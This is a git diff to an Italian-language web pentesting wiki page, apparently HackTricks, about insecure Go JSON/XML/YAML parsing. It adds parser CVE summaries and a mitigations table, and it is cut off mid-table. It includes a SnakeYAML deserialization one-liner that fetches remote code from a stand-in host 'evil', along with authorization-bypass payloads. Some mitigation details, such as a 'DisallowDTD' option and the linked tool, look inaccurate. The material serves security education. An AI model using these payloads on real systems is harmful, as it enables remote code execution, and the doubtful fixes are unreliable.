diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md
index 9b3db3b85..d0ff48262 100644
--- a/src/pentesting-web/json-xml-yaml-hacking.md
+++ b/src/pentesting-web/json-xml-yaml-hacking.md
@@ -6,7 +6,8 @@
I seguenti problemi sono stati rilevati nel Go JSON anche se potrebbero essere presenti in altre lingue. Questi problemi sono stati pubblicati in [**questo post del blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
-I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare privilegi** o **esfiltrare dati sensibili**.
+I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare i privilegi** o **esfiltrare dati sensibili**.
+
### (Un)Marshaling Unexpected Data
@@ -73,7 +74,7 @@ Anche i trucchi Unicode funzionano:
```go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
```
-**3. Mismatch tra servizi:**
+**3. Disallineamento tra servizi:**
Immagina:
- Proxy scritto in Go
- Servizio AuthZ scritto in Python
@@ -108,21 +109,57 @@ Il parser XML di Go lo ha analizzato **comunque** e ha fidato l'identità iniett
"ignored": "Action_3"
}
```
-Risultato:
-- **Go JSON** parser: `Action_2` (non sensibile al maiuscolo + ultimo vince)
-- **YAML** parser: `Action_1` (sensibile al maiuscolo)
-- **XML** parser: analizza `"Action_3"` all'interno della stringa
+- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
+- **YAML** parser: `Action_1` (case-sensitive)
+- **XML** parser: parses `"Action_3"` inside the string
+---
-### 🔐 Mitigazioni
+## Vulnerabilità Notabili dei Parser (2023-2025)
-| Rischio | Soluzione |
-|-----------------------------|---------------------------------------|
-| Campi sconosciuti | `decoder.DisallowUnknownFields()` |
-| Campi duplicati (JSON) | ❌ Nessuna soluzione nella stdlib |
-| Corrispondenza non sensibile al maiuscolo | ❌ Nessuna soluzione nella stdlib |
-| Dati spazzatura XML | ❌ Nessuna soluzione nella stdlib |
-| YAML: chiavi sconosciute | `yaml.KnownFields(true)` |
+> I seguenti problemi pubblicamente sfruttabili mostrano che il parsing insicuro è un problema multi-linguaggio — non solo un problema di Go.
+### RCE da Deserializzazione SnakeYAML (CVE-2022-1471)
+
+* Colpisce: `org.yaml:snakeyaml` < **2.0** (utilizzato da Spring-Boot, Jenkins, ecc.).
+* Causa principale: `new Constructor()` deserializza **classi Java arbitrarie**, consentendo catene di gadget che culminano nell'esecuzione di codice remoto.
+* One-liner PoC (aprirà la calcolatrice sull'host vulnerabile):
+```yaml
+!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
+```
+* Correzione / Mitigazione:
+1. **Aggiorna a ≥2.0** (usa `SafeLoader` per impostazione predefinita).
+2. Nelle versioni precedenti, usa esplicitamente `new Yaml(new SafeConstructor())`.
+
+### libyaml Double-Free (CVE-2024-35325)
+
+* Riguarda: `libyaml` ≤0.2.5 (libreria C sfruttata da molti binding di linguaggi).
+* Problema: Chiamare `yaml_event_delete()` due volte porta a un double-free che gli attaccanti possono trasformare in DoS o, in alcuni scenari, sfruttamento dell'heap.
+* Stato: Rifiutato upstream come “uso improprio dell'API”, ma le distribuzioni Linux hanno fornito una patch **0.2.6** che annulla difensivamente il puntatore.
+
+### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
+
+* Riguarda: Tencent **RapidJSON** prima del commit `8269bc2` (<1.1.0-patch-22).
+* Bug: In `GenericReader::ParseNumber()` l'aritmetica non controllata consente agli attaccanti di creare enormi letterali numerici che si avvolgono e corrompono l'heap — abilitando infine l'escalation dei privilegi quando il grafo degli oggetti risultante viene utilizzato per decisioni di autorizzazione.
+
+---
+
+### 🔐 Mitigazioni (Aggiornato)
+
+| Rischio | Correzione / Raccomandazione |
+|-------------------------------------|-------------------------------------------------------------|
+| Campi sconosciuti (JSON) | `decoder.DisallowUnknownFields()` |
+| Campi duplicati (JSON) | ❌ Nessuna correzione nella stdlib — valida con [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
+| Corrispondenza case-insensitive (Go)| ❌ Nessuna correzione — valida i tag della struct + pre-canonicalizza l'input |
+| Dati spazzatura XML / XXE | Usa un parser rinforzato (`encoding/xml` + `DisallowDTD`) |
+| Chiavi sconosciute YAML | `yaml.KnownFields(true)` |
+| **Deserializzazione YAML non sicura**| Usa SafeConstructor / aggiorna a SnakeYAML ≥2.0 |
+| libyaml ≤0.2.5 double-free | Aggiorna a **0.2.6** o a una release patchata dalla distro |
+| RapidJSON